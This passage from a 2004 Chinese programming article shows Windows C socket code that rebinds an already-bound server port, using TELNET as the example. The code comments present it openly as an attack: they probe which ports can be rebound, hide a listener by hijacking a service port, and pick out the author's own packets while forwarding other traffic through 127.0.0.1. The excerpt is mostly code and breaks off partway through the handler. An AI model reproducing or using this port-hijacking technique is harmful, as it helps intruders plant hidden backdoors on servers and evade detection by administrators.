正在阅读:VC++高级学习:监视服务器端口VC++高级学习:监视服务器端口

2004-02-14 09:34 出处:PConline 作者:possible_Y/CSDN 责任编辑:linjixiong

    //SO_REUSEADDR选项就是可以实现端口重绑定的
    if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
    {
        printf("error!setsockopt failed!\n");
        return -1;
    }
    //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
    //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
    //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
    if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
    {
        ret=GetLastError();
        printf("error!bind failed!\n");
        return -1;
    }
    listen(s,2);   
    while(1)
    {
        caddsize = sizeof(scaddr);
        //接受连接请求
        sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
        if(sc!=INVALID_SOCKET)
        {
            mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
            if(mt==NULL)
            {
                printf("Thread Creat Failed!\n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(s);
    WSACleanup();
    return 0;
  }

  DWORD WINAPI ClientThread(LPVOID lpParam)
  {
    SOCKET ss = (SOCKET)lpParam;
    SOCKET sc;
    char buf[4096];
    SOCKADDR_IN saddr;
    long num;
    DWORD val;
    DWORD ret;
    //如果是隐藏端口应用的话,可以在此处加一些判断
    //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发

键盘也能翻页,试试“← →”键

关注我们

最新资讯离线随时看 聊天吐槽赢奖品